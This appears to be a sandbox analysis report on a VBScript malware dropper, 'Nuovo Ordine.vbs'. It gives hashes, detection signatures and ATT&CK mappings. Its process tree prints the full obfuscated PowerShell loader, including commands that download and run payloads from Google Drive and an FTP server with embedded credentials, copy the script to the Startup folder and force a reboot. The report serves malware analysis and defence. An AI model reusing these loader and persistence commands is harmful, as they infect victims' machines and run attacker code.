3fa4e2db3d9404f713f1f79a4eb79dda148325407408ef9d9a605479377295c8

General

Target

Nuovo Ordine.vbs
Size

562KB
MD5

ca8ac9a5b0023d32bcd76c65512a6cd3
SHA1

25291ca6801339de6d51840f921f6955d7d8f7af
SHA256

3fa4e2db3d9404f713f1f79a4eb79dda148325407408ef9d9a605479377295c8
SHA512

e1e7a3dbc7df71aa2a09e280eb018ef228b14380677cb469ac8d31e125fdbf973246a8f0e99e0ebea288c57b88f574217252ce1b151d8288b24575ac7b0f206f
SSDEEP

1536:kmmmmmmmmmmmmmmmmmmyFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFc:k5o1W

Score

10^/10

execution

Malware Config

Extracted

Language

ps1

Source

URLs

exe.dropper

https://drive.google.com/uc?export=download&id=

Signatures

Drops startup file 2 IoCs

description	ioc	Process
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Nuovo Ordine.vbs	powershell.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Nuovo Ordine.vbs	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2576	powershell.exe
2312	powershell.exe
2568	powershell.exe

Drops file in Windows directory 3 IoCs

description	ioc	Process
File created	C:\Windows\wusa.lock	wusa.exe
File opened for modification	C:\Windows\Logs\DPX\setupact.log	wusa.exe
File opened for modification	C:\Windows\Logs\DPX\setuperr.log	wusa.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
2312	powershell.exe
2568	powershell.exe
2316	powershell.exe
2576	powershell.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

description	pid	Process
Token: SeDebugPrivilege	2312	powershell.exe
Token: SeDebugPrivilege	2568	powershell.exe
Token: SeDebugPrivilege	2316	powershell.exe
Token: SeDebugPrivilege	2576	powershell.exe

Suspicious use of WriteProcessMemory 15 IoCs

description	pid	Process	procid_target
PID 2872 wrote to memory of 2312	2872	WScript.exe	28
PID 2872 wrote to memory of 2312	2872	WScript.exe	28
PID 2872 wrote to memory of 2312	2872	WScript.exe	28
PID 2312 wrote to memory of 2568	2312	powershell.exe	30
PID 2312 wrote to memory of 2568	2312	powershell.exe	30
PID 2312 wrote to memory of 2568	2312	powershell.exe	30
PID 2568 wrote to memory of 2316	2568	powershell.exe	31
PID 2568 wrote to memory of 2316	2568	powershell.exe	31
PID 2568 wrote to memory of 2316	2568	powershell.exe	31
PID 2316 wrote to memory of 2352	2316	powershell.exe	32
PID 2316 wrote to memory of 2352	2316	powershell.exe	32
PID 2316 wrote to memory of 2352	2316	powershell.exe	32
PID 2568 wrote to memory of 2576	2568	powershell.exe	33
PID 2568 wrote to memory of 2576	2568	powershell.exe	33
PID 2568 wrote to memory of 2576	2568	powershell.exe	33

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Nuovo Ordine.vbs"
1⤵
- Suspicious use of WriteProcessMemory
PID:2872
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "$qKKzc = 'OwB9ҼмẦDsҼмẦKQҼмẦgҼмẦCkҼмẦIҼмẦҼмẦnҼмẦGUҼмẦdQByҼмẦHQҼмẦJwҼмẦgҼмẦCwҼмẦIҼмẦBYҼмẦFҼмẦҼмẦVQB1ҼмẦGgҼмẦJҼмẦҼмẦgҼмẦCwҼмẦIҼмẦҼмẦnҼмẦGgҼмẦdҼмẦB0ҼмẦHҼмẦҼмẦcwҼмẦ6ҼмẦC8ҼмẦLwBlҼмẦHYҼмẦaQByҼмẦHQҼмẦdQBhҼмẦGwҼмẦcwBlҼмẦHIҼмẦdgBpҼмẦGMҼмẦZQBzҼмẦHIҼмẦZQB2ҼмẦGkҼмẦZQB3ҼмẦHMҼмẦLgBjҼмẦG8ҼмẦbQҼмẦvҼмẦHcҼмẦcҼмẦҼмẦtҼмẦGkҼмẦbgBjҼмẦGwҼмẦdQBkҼмẦGUҼмẦcwҼмẦvҼмẦGYҼмẦbwBuҼмẦHQҼмẦcwҼмẦvҼмẦGkҼмẦdҼмẦBvҼмẦC4ҼмẦdҼмẦB4ҼмẦHQҼмẦJwҼмẦgҼмẦCgҼмẦIҼмẦBdҼмẦF0ҼмẦWwB0ҼмẦGMҼмẦZQBqҼмẦGIҼмẦbwBbҼмẦCҼмẦҼмẦLҼмẦҼмẦgҼмẦGwҼмẦbҼмẦB1ҼмẦG4ҼмẦJҼмẦҼмẦgҼмẦCgҼмẦZQBrҼмẦG8ҼмẦdgBuҼмẦEkҼмẦLgҼмẦpҼмẦCҼмẦҼмẦJwBJҼмẦFYҼмẦRgByҼмẦHҼмẦҼмẦJwҼмẦgҼмẦCgҼмẦZҼмẦBvҼмẦGgҼмẦdҼмẦBlҼмẦE0ҼмẦdҼмẦBlҼмẦEcҼмẦLgҼмẦpҼмẦCcҼмẦMQBzҼмẦHMҼмẦYQBsҼмẦEMҼмẦLgҼмẦzҼмẦHkҼмẦcgBhҼмẦHIҼмẦYgBpҼмẦEwҼмẦcwBzҼмẦGEҼмẦbҼмẦBDҼмẦCcҼмẦKҼмẦBlҼмẦHҼмẦҼмẦeQBUҼмẦHQҼмẦZQBHҼмẦC4ҼмẦKQҼмẦgҼмẦFoҼмẦYwBCҼмẦGMҼмẦYQҼмẦkҼмẦCҼмẦҼмẦKҼмẦBkҼмẦGEҼмẦbwBMҼмẦC4ҼмẦbgBpҼмẦGEҼмẦbQBvҼмẦEQҼмẦdҼмẦBuҼмẦGUҼмẦcgByҼмẦHUҼмẦQwҼмẦ6ҼмẦDoҼмẦXQBuҼмẦGkҼмẦYQBtҼмẦG8ҼмẦRҼмẦBwҼмẦHҼмẦҼмẦQQҼмẦuҼмẦG0ҼмẦZQB0ҼмẦHMҼмẦeQBTҼмẦFsҼмẦOwҼмẦpҼмẦCҼмẦҼмẦKQҼмẦgҼмẦCcҼмẦQQҼмẦnҼмẦCҼмẦҼмẦLҼмẦҼмẦgҼмẦCcҼмẦkyE6ҼмẦJMhJwҼмẦgҼмẦCgҼмẦZQBjҼмẦGEҼмẦbҼмẦBwҼмẦGUҼмẦUgҼмẦuҼмẦGcҼмẦUwB6ҼмẦEMҼмẦQgBsҼмẦCQҼмẦIҼмẦҼмẦoҼмẦGcҼмẦbgBpҼмẦHIҼмẦdҼмẦBTҼмẦDQҼмẦNgBlҼмẦHMҼмẦYQBCҼмẦG0ҼмẦbwByҼмẦEYҼмẦOgҼмẦ6ҼмẦF0ҼмẦdҼмẦByҼмẦGUҼмẦdgBuҼмẦG8ҼмẦQwҼмẦuҼмẦG0ҼмẦZQB0ҼмẦHMҼмẦeQBTҼмẦFsҼмẦIҼмẦҼмẦ9ҼмẦCҼмẦҼмẦWgBjҼмẦEIҼмẦYwBhҼмẦCQҼмẦIҼмẦBdҼмẦF0ҼмẦWwBlҼмẦHQҼмẦeQBCҼмẦFsҼмẦOwҼмẦnҼмẦCUҼмẦSQBoҼмẦHEҼмẦUgBYҼмẦCUҼмẦJwҼмẦgҼмẦD0ҼмẦIҼмẦBYҼмẦFҼмẦҼмẦVQB1ҼмẦGgҼмẦJҼмẦҼмẦ7ҼмẦCkҼмẦIҼмẦBnҼмẦFMҼмẦegBDҼмẦEIҼмẦbҼмẦҼмẦkҼмẦCҼмẦҼмẦKҼмẦBnҼмẦG4ҼмẦaQByҼмẦHQҼмẦUwBkҼмẦGEҼмẦbwBsҼмẦG4ҼмẦdwBvҼмẦEQҼмẦLgBwҼмẦHoҼмẦeQBhҼмẦCQҼмẦIҼмẦҼмẦ9ҼмẦCҼмẦҼмẦZwBTҼмẦHoҼмẦQwBCҼмẦGwҼмẦJҼмẦҼмẦ7ҼмẦDgҼмẦRgBUҼмẦFUҼмẦOgҼмẦ6ҼмẦF0ҼмẦZwBuҼмẦGkҼмẦZҼмẦBvҼмẦGMҼмẦbgBFҼмẦC4ҼмẦdҼмẦB4ҼмẦGUҼмẦVҼмẦҼмẦuҼмẦG0ҼмẦZQB0ҼмẦHMҼмẦeQBTҼмẦFsҼмẦIҼмẦҼмẦ9ҼмẦCҼмẦҼмẦZwBuҼмẦGkҼмẦZҼмẦBvҼмẦGMҼмẦbgBFҼмẦC4ҼмẦcҼмẦB6ҼмẦHkҼмẦYQҼмẦkҼмẦDsҼмẦKQB0ҼмẦG4ҼмẦZQBpҼмẦGwҼмẦQwBiҼмẦGUҼмẦVwҼмẦuҼмẦHQҼмẦZQBOҼмẦCҼмẦҼмẦdҼмẦBjҼмẦGUҼмẦagBiҼмẦE8ҼмẦLQB3ҼмẦGUҼмẦTgҼмẦoҼмẦCҼмẦҼмẦPQҼмẦgҼмẦHҼмẦҼмẦegB5ҼмẦGEҼмẦJҼмẦҼмẦ7ҼмẦCkҼмẦKҼмẦBlҼмẦHMҼмẦbwBwҼмẦHMҼмẦaQBkҼмẦC4ҼмẦcҼмẦB6ҼмẦHkҼмẦYQҼмẦkҼмẦDsҼмẦKQҼмẦgҼмẦCcҼмẦdҼмẦB4ҼмẦHQҼмẦLgҼмẦxҼмẦDҼмẦҼмẦTҼмẦBMҼмẦEQҼмẦLwҼмẦxҼмẦDҼмẦҼмẦLwByҼмẦGUҼмẦdҼмẦBwҼмẦHkҼмẦcgBjҼмẦHҼмẦҼмẦVQҼмẦvҼмẦHIҼмẦYgҼмẦuҼмẦG0ҼмẦbwBjҼмẦC4ҼмẦdҼмẦBhҼмẦHIҼмẦYgB2ҼмẦGsҼмẦYwBzҼмẦGUҼмẦZҼмẦҼмẦuҼмẦHҼмẦҼмẦdҼмẦBmҼмẦEҼмẦҼмẦMQB0ҼмẦGEҼмẦcgBiҼмẦHYҼмẦawBjҼмẦHMҼмẦZQBkҼмẦC8ҼмẦLwҼмẦ6ҼмẦHҼмẦҼмẦdҼмẦBmҼмẦCcҼмẦIҼмẦҼмẦoҼмẦGcҼмẦbgBpҼмẦHIҼмẦdҼмẦBTҼмẦGQҼмẦYQBvҼмẦGwҼмẦbgB3ҼмẦG8ҼмẦRҼмẦҼмẦuҼмẦHҼмẦҼмẦegB5ҼмẦGEҼмẦJҼмẦҼмẦgҼмẦD0ҼмẦIҼмẦBnҼмẦFMҼмẦegBDҼмẦEIҼмẦbҼмẦҼмẦkҼмẦDsҼмẦKQҼмẦnҼмẦEҼмẦҼмẦQҼмẦBwҼмẦEoҼмẦOҼмẦҼмẦ3ҼмẦDUҼмẦMQҼмẦyҼмẦG8ҼмẦcgBwҼмẦHIҼмẦZQBwҼмẦG8ҼмẦbҼмẦBlҼмẦHYҼмẦZQBkҼмẦCcҼмẦLҼмẦҼмẦpҼмẦCkҼмẦOQҼмẦ0ҼмẦCwҼмẦNgҼмẦxҼмẦDEҼмẦLҼмẦҼмẦ3ҼмẦDkҼмẦLҼмẦҼмẦ0ҼмẦDEҼмẦMQҼмẦsҼмẦDgҼмẦOQҼмẦsҼмẦDgҼмẦMQҼмẦxҼмẦCwҼмẦNwҼмẦwҼмẦDEҼмẦLҼмẦҼмẦ5ҼмẦDkҼмẦLҼмẦҼмẦ1ҼмẦDEҼмẦMQҼмẦsҼмẦDEҼмẦMҼмẦҼмẦxҼмẦCwҼмẦMҼмẦҼмẦwҼмẦDEҼмẦKҼмẦBdҼмẦF0ҼмẦWwByҼмẦGEҼмẦaҼмẦBjҼмẦFsҼмẦIҼмẦBuҼмẦGkҼмẦbwBqҼмẦC0ҼмẦKҼмẦҼмẦoҼмẦGwҼмẦYQBpҼмẦHQҼмẦbgBlҼмẦGQҼмẦZQByҼмẦEMҼмẦawByҼмẦG8ҼмẦdwB0ҼмẦGUҼмẦTgҼмẦuҼмẦHQҼмẦZQBOҼмẦC4ҼмẦbQBlҼмẦHQҼмẦcwB5ҼмẦFMҼмẦIҼмẦB0ҼмẦGMҼмẦZQBqҼмẦGIҼмẦbwҼмẦtҼмẦHcҼмẦZQBuҼмẦCҼмẦҼмẦPQҼмẦgҼмẦHMҼмẦbҼмẦBhҼмẦGkҼмẦdҼмẦBuҼмẦGUҼмẦZҼмẦBlҼмẦHIҼмẦQwҼмẦuҼмẦHҼмẦҼмẦegB5ҼмẦGEҼмẦJҼмẦҼмẦ7ҼмẦDgҼмẦRgBUҼмẦFUҼмẦOgҼмẦ6ҼмẦF0ҼмẦZwBuҼмẦGkҼмẦZҼмẦBvҼмẦGMҼмẦbgBFҼмẦC4ҼмẦdҼмẦB4ҼмẦGUҼмẦVҼмẦҼмẦuҼмẦG0ҼмẦZQB0ҼмẦHMҼмẦeQBTҼмẦFsҼмẦIҼмẦҼмẦ9ҼмẦCҼмẦҼмẦZwBuҼмẦGkҼмẦZҼмẦBvҼмẦGMҼмẦbgBFҼмẦC4ҼмẦcҼмẦB6ҼмẦHkҼмẦYQҼмẦkҼмẦDsҼмẦKQB0ҼмẦG4ҼмẦZQBpҼмẦGwҼмẦQwBiҼмẦGUҼмẦVwҼмẦuҼмẦHQҼмẦZQBOҼмẦCҼмẦҼмẦdҼмẦBjҼмẦGUҼмẦagBiҼмẦE8ҼмẦLQB3ҼмẦGUҼмẦTgҼмẦoҼмẦCҼмẦҼмẦPQҼмẦgҼмẦHҼмẦҼмẦegB5ҼмẦGEҼмẦJҼмẦҼмẦ7ҼмẦGcҼмẦUwB6ҼмẦEMҼмẦQgBsҼмẦCQҼмẦOwҼмẦyҼмẦDEҼмẦcwBsҼмẦFQҼмẦOgҼмẦ6ҼмẦF0ҼмẦZQBwҼмẦHkҼмẦVҼмẦBsҼмẦG8ҼмẦYwBvҼмẦHQҼмẦbwByҼмẦFҼмẦҼмẦeQB0ҼмẦGkҼмẦcgB1ҼмẦGMҼмẦZQBTҼмẦC4ҼмẦdҼмẦBlҼмẦE4ҼмẦLgBtҼмẦGUҼмẦdҼмẦBzҼмẦHkҼмẦUwBbҼмẦCҼмẦҼмẦPQҼмẦgҼмẦGwҼмẦbwBjҼмẦG8ҼмẦdҼмẦBvҼмẦHIҼмẦUҼмẦB5ҼмẦHQҼмẦaQByҼмẦHUҼмẦYwBlҼмẦFMҼмẦOgҼмẦ6ҼмẦF0ҼмẦcgBlҼмẦGcҼмẦYQBuҼмẦGEҼмẦTQB0ҼмẦG4ҼмẦaQBvҼмẦFҼмẦҼмẦZQBjҼмẦGkҼмẦdgByҼмẦGUҼмẦUwҼмẦuҼмẦHQҼмẦZQBOҼмẦC4ҼмẦbQBlҼмẦHQҼмẦcwB5ҼмẦFMҼмẦWwҼмẦ7ҼмẦH0ҼмẦZQB1ҼмẦHIҼмẦdҼмẦҼмẦkҼмẦHsҼмẦIҼмẦҼмẦ9ҼмẦCҼмẦҼмẦawBjҼмẦGEҼмẦYgBsҼмẦGwҼмẦYQBDҼмẦG4ҼмẦbwBpҼмẦHQҼмẦYQBkҼмẦGkҼмẦbҼмẦBhҼмẦFYҼмẦZQB0ҼмẦGEҼмẦYwBpҼмẦGYҼмẦaQB0ҼмẦHIҼмẦZQBDҼмẦHIҼмẦZQB2ҼмẦHIҼмẦZQBTҼмẦDoҼмẦOgBdҼмẦHIҼмẦZQBnҼмẦGEҼмẦbgBhҼмẦE0ҼмẦdҼмẦBuҼмẦGkҼмẦbwBQҼмẦGUҼмẦYwBpҼмẦHYҼмẦcgBlҼмẦFMҼмẦLgB0ҼмẦGUҼмẦTgҼмẦuҼмẦG0ҼмẦZQB0ҼмẦHMҼмẦeQBTҼмẦFsҼмẦewҼмẦgҼмẦGUҼмẦcwBsҼмẦGUҼмẦfQҼмẦgҼмẦGYҼмẦLwҼмẦgҼмẦDҼмẦҼмẦIҼмẦB0ҼмẦC8ҼмẦIҼмẦByҼмẦC8ҼмẦIҼмẦBlҼмẦHgҼмẦZQҼмẦuҼмẦG4ҼмẦdwBvҼмẦGQҼмẦdҼмẦB1ҼмẦGgҼмẦcwҼмẦgҼмẦDsҼмẦJwҼмẦwҼмẦDgҼмẦMQҼмẦgҼмẦHҼмẦҼмẦZQBlҼмẦGwҼмẦcwҼмẦnҼмẦCҼмẦҼмẦZҼмẦBuҼмẦGEҼмẦbQBtҼмẦG8ҼмẦYwҼмẦtҼмẦCҼмẦҼмẦZQB4ҼмẦGUҼмẦLgBsҼмẦGwҼмẦZQBoҼмẦHMҼмẦcgBlҼмẦHcҼмẦbwBwҼмẦDsҼмẦIҼмẦBlҼмẦGMҼмẦcgBvҼмẦGYҼмẦLQҼмẦgҼмẦCkҼмẦIҼмẦҼмẦnҼмẦHҼмẦҼмẦdQB0ҼмẦHIҼмẦYQB0ҼмẦFMҼмẦXҼмẦBzҼмẦG0ҼмẦYQByҼмẦGcҼмẦbwByҼмẦFҼмẦҼмẦXҼмẦB1ҼмẦG4ҼмẦZQBNҼмẦCҼмẦҼмẦdҼмẦByҼмẦGEҼмẦdҼмẦBTҼмẦFwҼмẦcwB3ҼмẦG8ҼмẦZҼмẦBuҼмẦGkҼмẦVwBcҼмẦHQҼмẦZgBvҼмẦHMҼмẦbwByҼмẦGMҼмẦaQBNҼмẦFwҼмẦZwBuҼмẦGkҼмẦbQBhҼмẦG8ҼмẦUgBcҼмẦGEҼмẦdҼмẦBhҼмẦEQҼмẦcҼмẦBwҼмẦEEҼмẦXҼмẦҼмẦnҼмẦCҼмẦҼмẦKwҼмẦgҼмẦFoҼмẦSwBuҼмẦFkҼмẦTQҼмẦkҼмẦCҼмẦҼмẦKҼмẦҼмẦgҼмẦG4ҼмẦbwBpҼмẦHQҼмẦYQBuҼмẦGkҼмẦdҼмẦBzҼмẦGUҼмẦRҼмẦҼмẦtҼмẦCҼмẦҼмẦJwҼмẦlҼмẦEkҼмẦaҼмẦBxҼмẦFIҼмẦWҼмẦҼмẦlҼмẦCcҼмẦIҼмẦBtҼмẦGUҼмẦdҼмẦBJҼмẦC0ҼмẦeQBwҼмẦG8ҼмẦQwҼмẦgҼмẦDsҼмẦIҼмẦB0ҼмẦHIҼмẦYQB0ҼмẦHMҼмẦZQByҼмẦG8ҼмẦbgҼмẦvҼмẦCҼмẦҼмẦdҼмẦBlҼмẦGkҼмẦdQBxҼмẦC8ҼмẦIҼмẦBHҼмẦGMҼмẦVwBpҼмẦFIҼмẦIҼмẦBlҼмẦHgҼмẦZQҼмẦuҼмẦGEҼмẦcwB1ҼмẦHcҼмẦIҼмẦBlҼмẦHgҼмẦZQҼмẦuҼмẦGwҼмẦbҼмẦBlҼмẦGgҼмẦcwByҼмẦGUҼмẦdwBvҼмẦHҼмẦҼмẦIҼмẦҼмẦ7ҼмẦCkҼмẦJwB1ҼмẦHMҼмẦbQҼмẦuҼмẦG4ҼмẦaQB3ҼмẦHҼмẦҼмẦVQBcҼмẦCcҼмẦIҼмẦҼмẦrҼмẦCҼмẦҼмẦTgBKҼмẦFQҼмẦeҼмẦBEҼмẦCQҼмẦKҼмẦҼмẦgҼмẦD0ҼмẦIҼмẦBHҼмẦGMҼмẦVwBpҼмẦFIҼмẦOwҼмẦpҼмẦCҼмẦҼмẦZQBtҼмẦGEҼмẦTgByҼмẦGUҼмẦcwBVҼмẦDoҼмẦOgBdҼмẦHQҼмẦbgBlҼмẦG0ҼмẦbgBvҼмẦHIҼмẦaQB2ҼмẦG4ҼмẦRQBbҼмẦCҼмẦҼмẦKwҼмẦgҼмẦCcҼмẦXҼмẦBzҼмẦHIҼмẦZQBzҼмẦFUҼмẦXҼмẦҼмẦ6ҼмẦEMҼмẦJwҼмẦoҼмẦCҼмẦҼмẦPQҼмẦgҼмẦFoҼмẦSwBuҼмẦFkҼмẦTQҼмẦkҼмẦDsҼмẦKQҼмẦnҼмẦHUҼмẦcwBtҼмẦC4ҼмẦbgBpҼмẦHcҼмẦcҼмẦBVҼмẦFwҼмẦJwҼмẦgҼмẦCsҼмẦIҼмẦBOҼмẦEoҼмẦVҼмẦB4ҼмẦEQҼмẦJҼмẦҼмẦgҼмẦCwҼмẦQgBLҼмẦEwҼмẦUgBVҼмẦCQҼмẦKҼмẦBlҼмẦGwҼмẦaQBGҼмẦGQҼмẦYQBvҼмẦGwҼмẦbgB3ҼмẦG8ҼмẦRҼмẦҼмẦuҼмẦHMҼмẦdҼмẦBtҼмẦG8ҼмẦbwҼмẦkҼмẦDsҼмẦOҼмẦBGҼмẦFQҼмẦVQҼмẦ6ҼмẦDoҼмẦXQBnҼмẦG4ҼмẦaQBkҼмẦG8ҼмẦYwBuҼмẦEUҼмẦLgB0ҼмẦHgҼмẦZQBUҼмẦC4ҼмẦbQBlҼмẦHQҼмẦcwB5ҼмẦFMҼмẦWwҼмẦgҼмẦD0ҼмẦIҼмẦBnҼмẦG4ҼмẦaQBkҼмẦG8ҼмẦYwBuҼмẦEUҼмẦLgBzҼмẦHQҼмẦbQBvҼмẦG8ҼмẦJҼмẦҼмẦ7ҼмẦCkҼмẦdҼмẦBuҼмẦGUҼмẦaQBsҼмẦEMҼмẦYgBlҼмẦFcҼмẦLgB0ҼмẦGUҼмẦTgҼмẦgҼмẦHQҼмẦYwBlҼмẦGoҼмẦYgBPҼмẦC0ҼмẦdwBlҼмẦE4ҼмẦKҼмẦҼмẦgҼмẦD0ҼмẦIҼмẦBzҼмẦHQҼмẦbQBvҼмẦG8ҼмẦJҼмẦҼмẦ7ҼмẦH0ҼмẦOwҼмẦgҼмẦCkҼмẦJwB0ҼмẦE8ҼмẦTҼмẦBjҼмẦF8ҼмẦSwBhҼмẦDMҼмẦWgBmҼмẦG8ҼмẦWҼмẦҼмẦyҼмẦEoҼмẦSgByҼмẦFYҼмẦaҼмẦBtҼмẦFYҼмẦOQBjҼмẦG0ҼмẦOQBYҼмẦHMҼмẦdQBYҼмẦG0ҼмẦagҼмẦxҼмẦGcҼмẦMQҼмẦnҼмẦCҼмẦҼмẦKwҼмẦgҼмẦG8ҼмẦeҼмẦBLҼмẦFUҼмẦZwҼмẦkҼмẦCgҼмẦIҼмẦҼмẦ9ҼмẦCҼмẦҼмẦbwB4ҼмẦEsҼмẦVQBnҼмẦCQҼмẦewҼмẦgҼмẦGUҼмẦcwBsҼмẦGUҼмẦfQҼмẦ7ҼмẦCҼмẦҼмẦKQҼмẦnҼмẦDIҼмẦNҼмẦB1ҼмẦFgҼмẦSgBUҼмẦHEҼмẦYQBtҼмẦGcҼмẦeQBNҼмẦHQҼмẦRgB6ҼмẦGEҼмẦawBQҼмẦFIҼмẦMQBxҼмẦF8ҼмẦSQB2ҼмẦEcҼмẦaQBYҼмẦE4ҼмẦZҼмẦBxҼмẦGEҼмẦTgҼмẦxҼмẦCcҼмẦIҼмẦҼмẦrҼмẦCҼмẦҼмẦbwB4ҼмẦEsҼмẦVQBnҼмẦCQҼмẦKҼмẦҼмẦgҼмẦD0AIABvAHgASwBVAGcAJAB7ACAAKQAgAHUATgBDAFYAcQAkACAAKAAgAGYAaQA7ACAAKQAnADQANgAnACgAcwBuAGkAYQB0AG4AbwBDAC4ARQBSAFUAVABDAEUAVABJAEgAQwBSAEEAXwBSAE8AUwBTAEUAQwBPAFIAUAA6AHYAbgBlACQAIAA9ACAAdQBOAEMAVgBxACQAOwAnAD0AZABpACYAZABhAG8AbABuAHcAbwBkAD0AdAByAG8AcAB4AGUAPwBjAHUALwBtAG8AYwAuAGUAbABnAG8AbwBnAC4AZQB2AGkAcgBkAC8ALwA6AHMAcAB0AHQAaAAnACAAPQAgAG8AeABLAFUAZwAkADsAKQAgACcAdQBzAG0ALgBuAGkAdwBwAFUAXAAnACAAKwAgAE4ASgBUAHgARAAkACAAKAAgAGwAZQBkADsAKQAoAGgAdABhAFAAcABtAGUAVAB0AGUARwA6ADoAXQBoAHQAYQBQAC4ATwBJAC4AbQBlAHQAcwB5AFMAWwAgAD0AIABOAEoAVAB4AEQAJAB7ACAAKQAgAGQAdgBvAGYAWAAkACAAKAAgAGYAaQA7ACAAKQAyACgAcwBsAGEAdQBxAEUALgByAG8AagBhAE0ALgBuAG8AaQBzAHIAZQBWAC4AdABzAG8AaAAkACAAPQAgAGQAdgBvAGYAWAAkACAAOwA=';$kahlN = $qKKzc.replace('ҼмẦ' , 'A') ;$DLOWx = [System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String( $kahlN ) ); $DLOWx = $DLOWx[-1..-$DLOWx.Length] -join '';$DLOWx = $DLOWx.replace('%XRqhI%','C:\Users\Admin\AppData\Local\Temp\Nuovo Ordine.vbs');powershell $DLOWx
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2312
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "; $Xfovd = $host.Version.Major.Equals(2) ;if ( $Xfovd ) {$DxTJN = [System.IO.Path]::GetTempPath();del ( $DxTJN + '\Upwin.msu' );$gUKxo = 'https://drive.google.com/uc?export=download&id=';$qVCNu = $env:PROCESSOR_ARCHITECTURE.Contains('64') ;if ( $qVCNu ) {$gUKxo = ($gUKxo + '1NaqdNXiGvI_q1RPkazFtMygmaqTJXu42') ;}else {$gUKxo = ($gUKxo + '1g1jmXusX9mc9VmhVrJJ2XofZ3aK_cLOt') ;};$oomts = (New-Object Net.WebClient);$oomts.Encoding = [System.Text.Encoding]::UTF8;$oomts.DownloadFile($URLKB, $DxTJN + '\Upwin.msu');$MYnKZ = ('C:\Users\' + [Environment]::UserName );RiWcG = ($DxTJN + '\Upwin.msu'); powershell.exe wusa.exe RiWcG /quiet /norestart ; Copy-Item 'C:\Users\Admin\AppData\Local\Temp\Nuovo Ordine.vbs' -Destination ( $MYnKZ + '\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup' ) -force ;powershell.exe -command 'sleep 180'; shutdown.exe /r /t 0 /f }else {[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12;$lBCzSg;$ayzp = (New-Object Net.WebClient);$ayzp.Encoding = [System.Text.Encoding]::UTF8;$ayzp.Credentials = new-object System.Net.NetworkCredential((-join [char[]](100,101,115,99,107,118,98,114,97,116,49)),'developerpro21578Jp@@');$lBCzSg = $ayzp.DownloadString( 'ftp://[email protected]/Upcrypter/01/DLL01.txt' );$ayzp.dispose();$ayzp = (New-Object Net.WebClient);$ayzp.Encoding = [System.Text.Encoding]::UTF8;$lBCzSg = $ayzp.DownloadString( $lBCzSg );$huUPX = 'C:\Users\Admin\AppData\Local\Temp\Nuovo Ordine.vbs';[Byte[]] $acBcZ = [System.Convert]::FromBase64String( $lBCzSg.Replace( '↓:↓' , 'A' ) );[System.AppDomain]::CurrentDomain.Load( $acBcZ ).GetType('ClassLibrary3.Class1').GetMethod( 'prFVI' ).Invoke( $null , [object[]] ( 'txt.oti/stnof/sedulcni-pw/moc.sweiversecivreslautrive//:sptth' , $huUPX , 'true' ) );};"
    3⤵
    - Drops startup file
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:2568
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" wusa.exe RiWcG /quiet /norestart
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:2316
    - - C:\Windows\system32\wusa.exe
        
        "C:\Windows\system32\wusa.exe" RiWcG /quiet /norestart
        5⤵
        Drops file in Windows directory
        
        PID:2352
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "sleep 180"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2576

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
0aaa4666fda6641ae2c33b6fef6bc32d

SHA1
d5a9b23e866149225053c0329c4e053daec65180

SHA256
8304993301a2bdcdde6de4da32dfee0f441edc5927eff1a7cefae65915426738

SHA512
e94b8a1d09c893f34a4072115d13c86d32e50cf106ba977cf10db102c1692a19379a487a40f19bf1377ce2a0ee5bdfb85d548d28ebb6909ee57e0d3f02c8fcb3

Download Submit
memory/2312-4-0x000007FEF59DE000-0x000007FEF59DF000-memory.dmp

Filesize
4KB

Download
memory/2312-5-0x000000001B4D0000-0x000000001B7B2000-memory.dmp

Filesize
2.9MB

Download
memory/2312-7-0x000007FEF5720000-0x000007FEF60BD000-memory.dmp

Filesize
9.6MB

Download
memory/2312-6-0x00000000027A0000-0x00000000027A8000-memory.dmp

Filesize
32KB

Download
memory/2312-8-0x000007FEF5720000-0x000007FEF60BD000-memory.dmp

Filesize
9.6MB

Download
memory/2312-9-0x000007FEF5720000-0x000007FEF60BD000-memory.dmp

Filesize
9.6MB

Download
memory/2312-10-0x000007FEF5720000-0x000007FEF60BD000-memory.dmp

Filesize
9.6MB

Download
